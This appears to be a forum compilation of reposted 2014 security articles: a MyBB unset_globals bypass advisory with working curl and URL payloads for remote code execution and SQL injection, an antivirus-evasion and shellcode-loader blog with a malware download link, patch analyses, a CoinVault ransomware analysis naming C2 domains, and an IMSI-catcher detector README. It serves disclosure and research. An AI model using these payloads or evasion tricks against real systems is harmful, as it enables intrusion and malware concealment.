[h=1]MyBB <= 1.8.2 - unset_globals() Function Bypass and Remote Code Execution Vulnerability[/h] # Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability # Date: 2014-11-21 # Exploit Author: Taoguang Chen # Vendor Homepage: twitter.com/chtg57 # Software Link: www.mybb.com # Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15 MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability. Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e #MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06 > MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution. ##I. MyBB's unset_globals() Function Bypass When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4 } } ``` But unset\_globals() function can be bypassed. ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed ``` foo.php?_COOKIE=1 // $_GET['_COOKIE'] ``` When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE']. ``` $this->unset_globals($_GET); ... } ... function unset_globals($array) { ... foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); ``` This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset(). ``` $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } ``` By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed. ###ii) $GLOBALS Array was Destroyed ``` foo.php?GLOBALS=1 // $_GET['GLOBALS'] ``` When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed. $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed. By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed. In fact, MyBB is already aware of the problem: ``` $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } ``` Unfortunately, there is a small hole yet:-) $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data. But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array. ``` request_order = "GP" ``` This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data. So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3. ##II. Remote Code Execution Vulnerability There is one interesting method in MyBB: ``` class MyBB { ... function __destruct() { // Run shutdown function if(function_exists("run_shutdown")) { run_shutdown(); } } } ``` Look into run\_shutdown() function: ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // Run any shutdown functions if we have them if(is_array($shutdown_functions)) { foreach($shutdown_functions as $function) { call_user_func_array($function['function'], $function['arguments']); } } $done_shutdown = true; } ``` The $shutdown\_functions was initialized via add\_shutdown() function in init.php: ``` // Set up any shutdown functions we need to run globally add_shutdown('send_mail_queue'); ``` But add\_shutdown() function initialization handler is wrong: ``` function add_shutdown($name, $arguments=array()) { global $shutdown_functions; if(!is_array($shutdown_functions)) { $shutdown_functions = array(); } if(!is_array($arguments)) { $arguments = array($arguments); } if(is_array($name) && method_exists($name[0], $name[1])) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } else if(!is_array($name) && function_exists($name)) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } return false; } ``` In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution. ##III. Proof of Concept When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line: ``` $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/ ``` ##IV. P.S.I **Another case to exploit the vulnerability:** When PHP's "disable\_functions" configuration directive disable ini\_get() function: ``` disable_functions = ini_get ``` The unset\_globals() function will not be called that regardless of register\_globals set on or off. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ``` **Proof of Concept** Works on disable\_functions = ini\_get and register\_globals = On: ``` index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1 ``` ##V. P.S.II **SQL injection vulnerability via run\_shutdown() function** ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // We have some shutdown queries needing to be run if(is_array($shutdown_queries)) { // Loop through and run them all foreach($shutdown_queries as $query) { $db->query($query); } } ``` The $shutdown\_queries was initialized in global.php: ``` $shutdown_queries = array(); ``` But not all files are included global.php, such as css.php: ``` require_once "./inc/init.php"; ``` There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability. **Proof of Concept** Works on request\_order = "GP" and register\_globals = On: ``` $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php ``` Works on disable\_functions = ini\_get and register\_globals = On: ``` css.php?shutdown_queries[]=SQL_Inj ``` ##VI. Disclosure Timeline * 2014.03.06 - Notified the MyBB devs via security contact form * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16 * 2014.11.21 - Public Disclosure Sursa: MyBB <= 1.8.2 - unset_globals() Function Bypass and Remote Code Execution Vulnerability

SandWorm’s target: A patch history of Object Packager Matt_Oh| November 20, 2014 Last Patch Tuesday (that is, November 11, 2014), Microsoft released MS14-064, a security patch for a SandWorm 0-day vulnerability. They had also previously patched the vulnerability with the October patch Tuesday release (MS14-060) but malware samples working around the fix were subsequently found in the wild. Interestingly, the affected module, Object Packager, had suffered a similar issue in 2012 with security bulletin MS12-005. That issue was about remote code execution using the ClickOnce functionality embedded in Microsoft Office files. The issues with the latest two patches this year concern remote code execution with INF or EXE files embedded in Microsoft Office files; only the type of embedded object differs. When I looked into the patch, I found striking similarities between them. Here are my findings. Marking files unsafe One of the main similarities between the patches is with the zone identifier. Both MS12-005 and MS14-060 add code to mark files unsafe by using a zone identifier. This pops up a warning dialog box on the user’s screen before binaries are executed. This provides additional protection for the user - any embedded object dropped in the temporary folder from Office documents should be treated as potentially dangerous. How MarkFileUnsafe works To understand what the MarkFileUnsafe function does, I opened packager.dll up in IDA. After a bit of debugging, I found that it uses the CZoneIdentifier object to set the zone identifier ID to 3 (URLZONE_INTERNET), as we see in Figure 1.The zone identifier concept was first introduced with Windows XP SP2 and it uses an Alternative Data Stream file, Zone.Identifier, to mark a file’s origin. For example, if a file was downloaded from the Internet through a web browser, it would be marked with ‘ID 3’ which corresponds to URLZONE_INTERNET. For a good explanation of the CZoneIdentifier, see this blog post from Microsoft. Figure 1 Calling CZoneIdentifier::SetId with argument 3 (URLZONE_INTERNET) Marking the file with ID 3 means that the file is treated as unsafe. When it is executed, it triggers a user confirmation dialog that looks like the one shown in Figure 2. This is a road block to malware or exploits that may try to abuse the related feature. Figure 2 Security Warning dialog CVE-2014-4114 The CVE-2014-4114 vulnerability used in the SandWorm operation was fixed mainly by marking dropped files unsafe (as I explained in my previous blog post). Figure 3 shows three functions that have been patched by adding a call to the MarkFileUnsafe function. The whole point of the MS14-60 patch was to mark dropped files as unsafe. Figure 3 Three functions patched with the addition of the MarkFileUnsafe function call CVE-2012-0013 An interesting fact is that a similar patch to other functions with similar functionality had been performed in 2012 with MS12-005. It fixed the CVE-2012-0013 vulnerability, which allowed execution of the ClickOnce application embedded in Microsoft Office files. Looking at Figure 4 you can see that the MarkFileUnsafe function was added to the patched packager.dll file. Figure 4 Patched functions with MS12-002 Some of the patched functions, including CPackage::CreateTempFile and CPackage::EmbedreadFromStream introduced a call to MarkFileUnsafe just after copying the file to the temporary folder, as shown in Figure 5. Figure 5 Addition of a call to MarkFileUnsafe Similar issues in the same function - CPackage::DoVerb Somehow, one specific function, CPackage::DoVerb, is a ‘hot zone’ which is patched again and again. The reason for this is that this is the main function where all the external command and object handling occurs using shell extensions and COM interfaces. CVE-2014-6352 A ‘verb’ is the term used to describe a case where a command string is passed through the Object Packager to an external component. The original intended purpose of the Object Packager from Office was mostly to play animation with graphics and sound. This verb can be used to pass various commands to the non-OLE component. Verb commands are basically strings like “play”, “pause” and “resume”, etc. but there are two special defined verb values: “0” and “1”. The first, “0” means open the object for editing while “1” means open the object for “viewing”. This MSDN article has a good description of this feature. However, it looks like you also can pass other numbers that perform additional operations, including running linked programs with the attachment itself as the input. Figure 6 Show OK/Cancel message box Figure 6 shows how this vulnerability was fixed. It displays an additional message box before it calls the InvokeCommand method from the CDefFolderMenu class in shell32.dll. The message box can be turned off if you set a special registry key, as shown in Figure 7. To fix it, they made opt-out the default behavior for this function. Figure 7 Retrieve registry value CVE-2012-0013 CVE-2012-0013 also had a patch on this same method – CPackage::DoVerb. When the ClickOnce application was embedded inside a Microsoft Office file, it could bypass the special check in the Object Packager. Figure 8 and Figure 9 show the GiveWarningMsg methods called just before dangerous operations like ActivateEmbeddedFile or ShellExecuteExW that launch external programs are performed. Figure 8 Unpatched code with the GiveWarning call Figure 9 Unpatched code with the GiveWarning call The approach with unpatched code used a blacklist of file extensions, as Figure 10 shows. Figure 11 shows part of the GiveWarningMsg function. It passed a blacklist of extensions to the sub-function to compare. If the file’s extension was on this list, it did not pass through to the following dangerous operations. Figure 10 Extension black list Figure 11 Check extension black list But, it looks like this blacklist didn’t cover every possible dangerous extension, and ClickOnce was one of those. The patch from the vendor solves this problem by ditching the blacklist approach, instead using an opt-in registry key. If you don’t set a specific registry key, you will not be allowed to run any dangerous APIs by default, as shown in Figure 12. Figure 12 Checking opt-in registry key For example, based on this registry key, ShellExecuteEx will either be allowed or not, as we see in Figure 13. The point is that by default, the dangerous operation is blocked. This is a similar approach to how CVE-2014-6352 was solved using a default opt-out approach. Figure 13 By default, show message and exit Conclusion So, packager.dll has gone through three rounds of patching over the last few years: MS12-005, MS14-060 and MS14-064. MS12-005 fixed the CVE-2014-0013 ClickOnce issue. MS12-005 and MS14-064 cover a special verb command issue. The problem is that the three patches touch on the same issues over and over again. MS12-005 introduced the MarkFileUnsafe function and applied it to two functions. Now MS14-060 applies the same patches to an additional three functions that perform very similar actions – file dropping. MS12-005 fixed an extension validation issue in the CPackage::DoVerb function by introducing a special registry key switch. MS14-064 fixed a very similar issue inside the exact same function by introducing a special registry key and confirmation message box. MS12-005 fixed a dangerous call to the ShellExecuteExW API and MS14-064 fixes dangerous usage of the IContextMenu interface, which can be abused to run arbitrary commands through the extension context menus functionality. Using the IContextMenu interface to launch remote code execution isn’t obvious at first, but allowing a COM call to the shell component doesn’t sound so secure either. Based on my findings, I think there was a good chance to fix the SandWorm vulnerability two years ago, before it was used by malware authors and became an issue. We can’t reverse time, but we can, and should, learn from the past. Sursa: SandWorm’s target: A patch history of Object Packa... - HP Enterprise Business Community

UNREAL MODE:BREAKING PROTECTED PROCESSES Alex Ionescu NSC 2014 Alex Ionescu’s Blog @aionescu INTRODUCTION •Windows Vista introduced core changes to the kernel to allow atomic, kernel-driven process creation inside of a “protected environment” •Used to protect access to the DRM keys and to secure the System process •Windows 8.1 extends that model in order to protect key non-DRM system processes even from Admin, and to mitigate against pass-the-hash attacks •Digital signatures and code signing now add an additional boundary of protection beyond load/don’t load •Similar to the iOS Entitlement Model •Mechanisms change a few core security paradigms: •Admin == Kernel is something that Microsoft has sometimes disagreed with, especially in light of PatchGuard, Code Signing and DRM. Now it’s really != •Unkillableprocesses and unstoppable services are now something supported and documented for developer (mis)use Download: http://www.nosuchcon.org/talks/2014/D3_05_Alex_ionescu_Breaking_protected_processes.pdf

assembly, c-sharp, anti-sandbox, anti-antivirus, anti-debug, and malware research Hello fellow readers! You all are probably wondering what the hell I’ve been up to this past month. Lot’s of stuff. This post is all over the place with code and slides and malware and general wackiness. Rather than spreading it out over several blog posts, I decided to just get it all over with so I can focus on cooler things in the future. I saw an interesting webinar on sandbox detection techniques employed by malware by Cyphort. They haven’t released their slides like they said they would, so here are the ones I took. These are cool and all, but I felt like I could contribute. I read an awesome paper on bypassing antiviruses by employing a number of code based tricks. The idea behind them was that AV’s will skip binaries based on certain behaviors. One thing missing though – an AV will skip the “dropper” heuristic if the file ends in ‘.msi’. All the code I saw was in C/C++. I figured why not try and convert it to assembly? Next thing to do is make a patcher that can inject these into pre-compiled binaries. A future project perhaps? Anyways, I only did 2 before I lost interest. Read the article here. ;AV bypass 1 xor eax, eax db Caption "Joe" db Text "Giron" mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA urafag: xor eax, eax retn ;AV bypass 1.5 ; same as above, just using the loop instruction instead of branching conditionals xor eax, eax db Caption "Joe" db Text "Giron" mov ecx, 5F5E100h joe: ; essentially do nothing mov eax,10 mov ebx,20 xchg eax,ebx loop joe ; now start code xor eax,eax xor ebx,ebx push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA retn ;AV bypass 2 push ebx push edi push 5F5E100h ; bytes to alloc push 40h ; zero init call GlobalAlloc mov ebx, eax test ebx, ebx jz short cleanup mov edi, ebx mov eax, 0FFFFFFF1h mov ecx, 5F5E100h rep stosb push 0 ; MB_OK push offset Caption ; "Joe" push offset Text ; "Giron" push 0 ; hWnd call MessageBoxA push ebx ; memory handler call GlobalFree cleanup: xor eax, eax pop edi pop ebx retn Feels good to put my crappy assembly skills to good use. Especially now that I figured out how to use inline assembly within C#. Sort of. The way it works is by utilizing delegates and cramming code inside an executable code page. Observe this piece of genius: using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace InLineAsm { static class Program { [unmanagedFunctionPointer(CallingConvention.StdCall )] delegate void JoesAntiDebuggery(); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, IntPtr flAllocationType, IntPtr flProtect); static byte[] opcodez = { 0x55, 0x89, 0xE5, 0x31, 0xC0, 0xBA, 0x00, 0xE1, 0xF5, 0x05, 0x40, 0x4A, 0x75, 0xFC, 0x3D, 0x00, 0xE1, 0xF5, 0x05, 0x75, 0x14, 0x6A, 0x00, 0x68, 0x12 ,0x70, 0x40, 0x00, 0x68, 0x0C, 0x70, 0x40, 0x00, 0x6A, 0x00, 0xFF, 0x15, 0xD0, 0x80, 0x40, 0x00, 0x31, 0xC0, 0x68, 0x00, 0x70, 0x40, 0x00, 0xE8, 0x3B, 0x00, 0x00, 0x00, 0x59, 0x31, 0xC0, 0x89, 0xEC, 0x5D, 0xC3 } // opcodes taken from disassembled program. /* __asm { xor eax, eax mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag } MessageBox(0,Text, Caption,0); __asm { urafag: xor eax, eax } */ static IntPtr codeBuffer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)opcodez.Length), (IntPtr)(0x1000 | 0x2000), (IntPtr)0x40); // EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE Marshal.Copy(opcodez, 0,codeBuffer, opcodez.Length); JoesAntiDebuggery JoeDbg = (JoesAntiDebuggery) Marshal.GetDelegateForFunctionPointer(codeBuffer, typeof(JoesAntiDebuggery)); static void Main(string[] args) { Console.Write("lol"); JoeDbg(); } } } It’s a thing of beauty – Assembly, C code, op codes / hex, delegates, and C#. Moving on to what else I’ve been up to – pulling apart malwarez. This one piece gave me trouble for a few days. Namely because of the weird anti-debugging counter measure I encountered. I’m unsure if its even anti-debug as the conditions always seem to equate to false. I mean it’s easy to get around when you see it, but you can’t get around it automatically – you have to patch it. I even took a video of the weird behavior. Took me some time, but I figured it out. The following is the sequence called not 5 instructions after the entry point sub_4017CF proc near push ebp mov edi, edx add edi, ebx not ebx mov ebp, esp add edi, ebx add esp, 0FFFFFF94h mov edx, ebx inc ebx mov ecx, esp dec ebx mov edi, eax add ecx, 48h mov ebx, ecx dec edi cmp eax, ecx jz short labelforyou neg edx leave not edx mov eax, edi neg eax leave add edx, edi not edx retn labelforyou: leave retn The first thing you may notice about this procedure is the weird stack frame setup. Most of the time, the intro stack frame will be “push ebp” followed directly by “mov ebp, esp”. This one is different in that it plays with the registers a little before the “mov ebp, esp” assembly codes. You may also notice the 2 “leave” instructions at the end of the procedure as opposed to the 1 for the “labelforyou” conditional. The 2 “leave” instructions are why the program jumps to ExitThread. When you leave a stack frame twice and ‘ret’, any windows program jumps to ntdll.RtlExitUserThread. An interesting intrinsic way of quietly exiting without warning. But what about the code that leads up to the ‘JZ’ branch and the 2 leaves? The comparison is EAX to ECX. Every time I run, EAX always ends up as 1 and ECX as some stack address. I’m postulating that the malware I grabbed was extracted from a dropper. That makes sense given the stack value / pointer points to nothing useful. If you’re curious what the malware does, it attempts to download and run a ‘doc’ file from a russian host. Inside the ‘doc’ file is HTML code with a meta redirect to a host my DNS server can’t seem to find: You can download the malware here. Pass in ‘infected’. The other piece of malware I went through lacked a DOS sub. Most exe’s have this little DOS application inside that reads “this program cannot be run in DOS mode” and is placed at the start of an exe just in case someone attempts to run an exe on an old DOS system. Its a forward compatibility thing Microsoft does. Compare a normal exe to the binary: So how the hell do you remove the DOS sub and still maintain functionality? According to TinyPE, you do it in assembly via zeroing out the MZ header with the exception of the ‘e_magic’ field ‘MZ’ at the start and the ‘e_lfanew’ field value at the bottom. The ‘e_lfanew’ field is just a 4 byte offset to where the PE header is located. mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED dw 0 ; e_cp UNUSED dw 0 ; e_crlc UNUSED dw 0 ; e_cparhdr UNUSED dw 0 ; e_minalloc UNUSED dw 0 ; e_maxalloc UNUSED dw 0 ; e_ss UNUSED dw 0 ; e_sp UNUSED dw 0 ; e_csum UNUSED dw 0 ; e_ip UNUSED dw 0 ; e_cs UNUSED dw 0 ; e_lsarlc UNUSED dw 0 ; e_ovno UNUSED times 4 dw 0 ; e_res UNUSED dw 0 ; e_oemid UNUSED dw 0 ; e_oeminfo UNUSED times 10 dw 0 ; e_res2 UNUSED dd pesig ; e_lfanew But what about doing it to a pre-compiled binary? I just used CFF explorer and HXD. Jot down the ‘e_lfanew’ field offset and zero out the entries between the PE header, the MZ field, and the ‘e_lfanew’ field: The malware does code running modification and is surprisingly sophisticated, but this blog post is long enough. I’m done for now. The next post will be much more interesting, however its unfinished and needs more research. Except it soon. This entry was posted on Saturday, November 22nd, 2014 at 1:51 pm and is filed under code, Joe you evil bastard, reversing. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed. Sursa: assembly, c-sharp, anti-sandbox, anti-antivirus, anti-debug, and malware research « Joe's Security Blog

malware repository framework - for personal use only malwaRE Malware repository framework Description malwaRE is a malware repository website created using PHP Laravel framework, used to manage your own malware zoo. malwaRE was based on the work of Adlice team with some extra features. If you guys have any improvements, please let me know or send me a pull request. Features Self-hosted solution (PHP/Mysql server needed) VirusTotal results (option for uploading unknown samples) Search filters available (vendor, filename, hash, tag) Vendor name is picked from VirusTotal results in that order: Microsoft, Kaspersky, Bitdefender Add writeup url(s) for each sample Manage samples by tag Tag autocomplete VirusTotal rescan button (VirusTotal's score column) Download samples from repository Sursa: https://github.com/c633/malwaRE

A Nightmare on Malware Street CoinVault ransomware in the wild By Santiago Pontiroli on November 22, 2014. 4:49 Another ransomware has been spotted in the wild lately, branded as 'CoinVault'. This one involves some interesting details worth mentioning, including the peculiar characteristic of offering the free decryption of one of the hostage files as a sign of good faith. Technically, the malware writers have taken a lot of measures to slow down the analysis of the sample. Even though it was made with Microsoft's .NET framework, it takes a while to reach the core of their malicious application. Upon opening the initial sample in 'IL Spy', we find that the program starts by using a string key which is passed to a decryption method, which will ultimately get the executable code. A byte array is also passed as a parameter to the 'EncryptOrDecrypt' method, which in conjunction with the key will output a final byte array with the malware's much needed code. Implementing these functions in Visual Studio is as easy as copy/paste, so we execute the methods gotten from the source code and set a breakpoint to check what the decryption method is doing. A '77', '90' in decimal tells us we are on the right track since when converting these numbers to hexadecimal we get '4D', '5A', which is the magic number for DOS executable files identified by the ASCII string 'MZ'. We dump all the bytes to an executable file in disk for further analysis. We get a file called 'SHIELD runner', serving as a 'RunPE' helper application. A 'RunPE' application serves to execute files on the fly, meaning that a memory stream is created from an input and executed directly without first storing the file to disk. This is useful for malware writers that want to avoid leaving traces behind, and as we'll soon see, it's not all this file has to offer. Although we'll carry on with our investigation into the ransomware code, there's a noteworthy string embedded in the SHIELD runner executable, 'd:\Users\dennis…'. In the same way as before, a string key and a byte array are used to generate yet another executable file. As you can see, the cybercriminals have gone to great lengths in order to slow down the analysis and hide the malicious payload for as long as possible. Not only do we have the usual 'RunPE' functions but also a nice additional set of methods that will help the malware detect analysis tools and virtualized environments. It checks for 'Sandboxie', 'Wireshark', 'Winsock Packet Editor' and even checks whether the machine's name is 'MALTEST'. Fortunately, none of these conditions are met in my environment so we are good to go. But wait…. there's more! The detection of the virtualized environment will cause the execution to stop and the malicious payload to be hidden. Using PowerShell, we are going to check if the malware can actually detect our environment. Apparently it can, so we'll need to carry out some simple modifications in order to continue the analysis process. We can fix this easily from VMWare's configuration VMX file, setting the option 'SMBIOS.reflectHost = TRUE'. Running out PowerShell checks again, we witness the good news and are ready to go even further. Repeating the process of string key and byte array decryption and dumping the memory at just the right time pays off and we finally end up with the set of files that will be used during the infection. The CoinVault 'Locker' has two main Windows forms: the main one telling us to pay in order to recover the victim's files and 'frmGetFreeDecrypt' which is used to decrypt one of the victim's files as a way to demonstrate that we can in fact recover our precious information if we comply in a timely manner. However, before the 'Locker' analysis we'll need to deobfuscate it (at least a little bit). The malware writers display some sense of humor here: if the analyst has gone through this much trouble to reach this point it seems he's welcome as suggested by the phrase, 'Your worst nightmare'. Moreover, they are keen enough to leave a banner signaling the obfuscation utility they used. In this case we are dealing with the ever popular 'Confuser', in its version 1.9.0.0. Certainly, this is confusing… but we can make it better. So, we go from something that resembles a Chinese manuscript to readable source code. We now can see, amongst the many (many) methods and delegates inside the assembly some relevant code regarding the file encryption. .NET's 'System.Security.Cryptography.RijndaelManaged' namespace is used (amongst others) revealing symmetric encryption functionality. We can even get a glance at how the PRNG was implemented and some internal details of the malicious application. When we are finally shown the 'Locker' executable, a connection is made to a dynamic domain. During the analysis, two addresses were present: 'cvredirect.no-ip.net' and 'cvredirect.ddns.net'. They are currently offline and this hampers the 'Locker' functionality, since upon traffic analysis inspection we were able to see that a hardware ID is sent to the C&C in order to use a dynamic file encryption password. I guess now we can understand why the malware is checking for Wireshark in the system. After all, cybercriminals wouldn't want you to take a peek at how their business is getting done. At this point, if everything went well (for the cybercriminals) your personal documents and files have been encrypted and a payment is demanded in less than 24 hours or the price will rise. The bitcoin address used is dynamic too, making the tracing of the funds a lot more complex than usual. Is this your worst nightmare? If you don't have an updated anti-malware suite and (just in case) a backup of your most important files, it might just be. Kaspersky detects this family as 'Trojan-Ransom.Win32.Crypmodadv.cj'. We have already seen similar malicious applications in the past (regarding functionality) such as 'TorrentLocker', and some PowerShell ransomware, but the amount of effort invested in this one in order to protect the code shows that cybercriminals are leveraging already developed libraries and functionality in order to avoid reinventing the wheel. Sursa: https://securelist.com/blog/virus-watch/67699/a-nightmare-on-malware-street/

Now cyber criminals use E-cigarettes to spread malware Now cyber criminals use E-cigarettes to spread malware Many health specialists may be pushing the chain smokers in the world for E-cigarettes over normal tobacco ones. The smokers may not be embracing E-cigarettes wholeheartedly but there is one group who does. Yes, cyber criminals have take a special liking to the E-cigarettes and now electronic cigarettes have become the latest vector for injecting malware. How is E-cigarette being used The E-cigarettes have to be charged over USB, either with a special custom cable, or by plugging the cigarette itself directly into a USB port. The ones that come with the USB port charging are the one that are fast becoming a favourite threat vector for the cyber criminals. The malware is apparently hardcoded into the charger for these E-cigarettes and as soon as its hooked to a PC they start their malicious work. For one they are inconspicuous, who the hell would think that a puny E-cigarette might be carrying a malware. The second point is that the USB port allows the cyber criminals to physically access your device. Vapourizer The use of E-cigarette for injecting malware first surfaced on Reddit. A redditor, Jockrilla posted the below comment on Reddit and that started the things moving I have a story I wanted to share about a data security breach at a large corporation. One particular executive had a malware infection on his computer from which the source could not be determined. The executive’s system was patched up to date, had antivirus and up to date anti-malware protection. Web logs were scoured and all attempts made to identify the source of the infection but to no avail. Finally after all traditional means of infection were covered; IT started looking into other possibilities. They finally asked the Executive, “Have there been any changes in your life recently”? The executive answer “Well yes, I quit smoking two weeks ago and switched to e-cigarettes”. And that was the answer they were looking for, the made in china e-cigarette had malware hard coded into the charger and when plugged into a computer’s USB port the malware phoned home and infected the system. Moral of the story is have you ever question the legitimacy of the $5 dollar EBay made in China USB item that you just plugged into your computer? Because you should, you damn well should. Sincerely, An IT guy The post seemed to suggest that a large corporation was subjected to a data breach because one of the exec had started smoking E-cigarette or “vapourizer” which had a malware hard coded into the charger. When the charger was plugged into the exec’s system the malware infected it. Plausible or fairy tale? For the looks of it, the Redditors claim looks very plausible given the fact that just recently, a security researcher, Karsten Nohl had demonstrated the virtually unpatchable attack called BadUSB with its proof-of-concept. He had further stated that more than half the USB devices available in the market may be susceptible to the BadUSB attack. Combining the two reports gives you a plausible explanation for the malware spreading through a E-cigarette. Dave Goss, of London’s Vape Emporium, says that vapourizers can remain safe by buying from respected manufacturers such as Aspire, KangerTech and Innokin, and by checking for “scratch checkers” on the box, which mark out authentic goods from counterfeits. “Any electrical device that uses a USB charger could be targeted in this way, and just about every one of these electrical devices will come from China,” he adds. It is suggested to those who use such kind of USB devices, to only charge USB devices through a wall adapter (they charge faster anyway). If you really need to charge through USB then you are advised to get what is called a “USB Condoms”, which will make sure that only power is drawn and no data is exchanged. Sursa: Now cyber criminals use E-cigarettes to spread malware

[h=3]Android IMSI-Catcher Detector (AIMSICD)[/h] Android-based project to detect and avoid fake base stations (IMSI-Catchers) in GSM/UMTS Networks. Feel free to read the Press Releases about us, spread the word with our Media Material and help us solving current challenges! [h=2] [/h] [h=2][/h] [h=1]Index[/h] Introduction IMSI-Catchers Project Goals Limitations Roadmap WIP-RELEASES Requirements Installation General (non-geek) Technical (geek) User Guide Disclaimer Privacy Building Changelog Discussion Contributing Bugs FAQ Support Sources Credits License Sponsors Contact Recommendations [h=1]Introduction[/h] Both law enforcement agencies and criminals use IMSI-Catchers, which are false mobile towers acting between the target mobile phone(s) and the service providers real towers. As such it is considered a Man In the Middle (MITM) attack. It was patented and first commercialized by Rohde & Schwarz in 2003, although it would be hard to maintain such a patent, since in reality it is just a modified cell tower with a malicious operator. On 24 January 2012, the Court of Appeal of England and Wales held that the patent is invalid for obviousness. But ever since it was first invented, the technology has been used and "improved" by many different companies around the world. Other manufacturers (like Anite) prefer to refer to this spying and tracking equipment in cozy marketing words as "Subscriber Trackers". In the USA this technology is known under the name "StingRay", which is even capable to track the people who are traveling together with the owner of a targeted phone across the country. Here you can see alleged StingRay tracking devices mounted to the roof of three SUVs. The FBI or local police might deploy the device at a protest to obtain a record of everyone who attended with a cell phone. IMSI-Catchers also allow adversaries to intercept your conversations, text messages, and data. Police can use them to determine your location, or to find out who is in a given geographic area at what time. Identity thieves might operate an IMSI-Catcher in a parked car in a residential neighborhood, stealing passwords or credit card information from people nearby who make purchases on their phones. There is more: Powerful, expensive IMSI-Catchers are in use at federal agencies and some police departments. And if you think that IMSI-Catchers are not used in your own town, think twice! If you ever happen to be near a riot or demonstration (hint: leave you phone at home if participating), pay close attention to cars standing along the path of the demonstration - those might be IMSI-Catchers. It is common practice for police to position IMSI-Catchers at the beginning as well as the end of roads where the demonstrating crowd moves to capture and compare data in order to find out who participated. But most of the time IMSI-Catchers are well hidden and can be even body-worn - therefore you won't even discover these creepy devices. Current technology shrinks them to be as tiny as your phone! So again, if you really have to participate in a riot or demonstration, leave your phones at home or build yourself a signal blocking phone pouch! YouTube: DEF CON 18 - Practical Cellphone Spying with Kristin Paget (click picture) Unfortunately it seems that IMSI-Catchers have been exponentially popular lately, with an explosion of various "bastards" with governments and criminals all the same, using it. Anyone can now buy an IMSI-Catcher (or build a cheap one on his own). Sending spam and phishing SMS via fake base stations is already a lucrative underground market, particularly in Russia, China and Brazil (see The Mobile Cybercriminal Underground Market in China). For example in China, 1.530 people got arrested for using this kind of equipment. Just recently, hackers decided to start reverse-engineering the NSA toolset and are releasing tools like TWILIGHTVEGETABLE - an easy to use, boot and pwn toolkit for passive monitoring of GSM communications as well as DRIZZLECHAIR as an extension to that system on a 2TB harddrive with all the tools required to crack A5/1 as well as the 